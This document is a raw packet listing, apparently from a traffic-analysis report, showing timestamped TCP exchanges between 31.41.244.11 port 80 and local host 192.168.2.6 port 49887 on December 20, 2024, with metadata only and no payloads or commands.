Dec 20, 2024 21:13:24.663928986 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.664000034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.664037943 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.665086031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.665378094 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.665424109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.665862083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.666320086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.666405916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.666563034 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.667463064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.667547941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.667720079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.668667078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.668764114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.668874025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.669857025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.669951916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.669991970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.670166016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.671077013 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.671169043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.671215057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.671247005 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.672261953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.672368050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.672406912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.672489882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.673433065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.673609018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.673736095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.674582958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.674705982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.674827099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.675854921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.676012993 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.676018000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.677067041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.677165031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.677208900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.677409887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.678198099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.678329945 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.678690910 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.679373980 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.679497957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.679702044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.680557966 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.680635929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.680799961 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.681788921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.681885004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.681927919 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.682013988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.682959080 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.683073997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.683250904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.684139967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.684320927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.684448004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.685498953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.685640097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.685679913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.686072111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.686633110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.686744928 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.686790943 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.687197924 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.687752008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.687932014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.688019037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.688281059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.688919067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.688997984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.689047098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.690094948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.690201998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.690257072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.690613985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.691385984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.691504002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.691756010 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.692482948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.692600012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.692681074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.692681074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.693694115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.693856955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.693876982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.693979025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.694864988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.694977045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.695065022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.696135044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.696230888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.696264029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.696378946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.697249889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.697367907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.697530985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.697530985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.698441982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.698550940 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.698580980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.698913097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.699611902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.699732065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.699795008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.699795008 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.700856924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.700922012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.700946093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.701112032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.702028990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.702172995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.702222109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.702402115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.703181982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.703263044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.703299046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.703505039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.704349995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.704545975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.704685926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.705595970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.705710888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.705887079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.705977917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.706759930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.706830978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.706866026 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.707046032 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.707973957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.708127975 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.708304882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.709155083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.709268093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.709342003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.709491014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.710330009 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.710426092 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.710458040 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.710982084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.711577892 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.711700916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.711745977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.711867094 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.712721109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.712819099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.713148117 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.713855982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.714118004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.834054947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.834072113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.834135056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.834280968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.834404945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.834454060 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.834579945 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.835470915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.835580111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.835583925 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.835746050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.836704016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.836780071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.836792946 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.837064028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.837857008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.837917089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.837949991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.838006020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.839168072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.839188099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.839211941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.839281082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.840234041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.840353966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.840359926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.840470076 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.841445923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.841550112 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.841579914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.841686964 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.842622995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.842778921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.842864037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.842864037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.843836069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.843930006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.843967915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.843992949 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.845079899 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.845170021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.845263004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.845263004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.846308947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.846414089 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.846435070 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.846482992 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.847435951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.847556114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.847609997 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.847645998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.848594904 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.848721027 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.848758936 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.848799944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.849766016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.849934101 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.850188971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.850282907 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.851777077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.851907969 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.851911068 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.852154016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.852716923 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.852833986 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.852880955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.853178024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.853764057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.853859901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.853995085 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.854758978 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.854799032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.854917049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.854922056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.854964972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.856149912 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.856261015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.856276989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.856471062 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.857085943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.857167006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.857199907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.857439041 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.858310938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.858422995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.858443975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.858488083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.859340906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.859427929 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.859441042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.859570980 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.860471010 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.860574007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.860594988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.860640049 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.861700058 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.861851931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.861857891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.862113953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.862891912 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.862986088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.862992048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.863080025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.864054918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.864150047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.864176989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.864360094 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.865253925 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.865355968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.865360022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.865719080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.866508007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.866619110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.866641998 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.866856098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.867697954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.867808104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.867822886 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.867897987 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.868832111 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.868940115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.868978024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.869064093 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.870400906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.870414019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.870541096 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.871247053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.871294022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.871711016 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.872577906 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.872674942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.872756004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.873570919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.873688936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.873821020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.874105930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.874793053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.874877930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.875072956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.875967026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.876101971 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.876158953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.876158953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.877130032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.877242088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.877283096 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.877389908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.878338099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.878422976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.878468037 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.878511906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.879551888 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.879637957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.879777908 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.879863024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.880728006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.880851030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.880872965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.881082058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.881949902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.882033110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.882075071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.882147074 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.883128881 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.883255005 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.883335114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.883553982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.884322882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.884416103 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.884429932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.884505987 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.885548115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.885674953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.885678053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.885833025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.886672974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.886817932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.886884928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.886884928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.888016939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.888124943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.888184071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.888293028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.889077902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.889194012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.889255047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.889297962 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.890321016 CET	80	49887	31.41.244.11	192.168.2.6
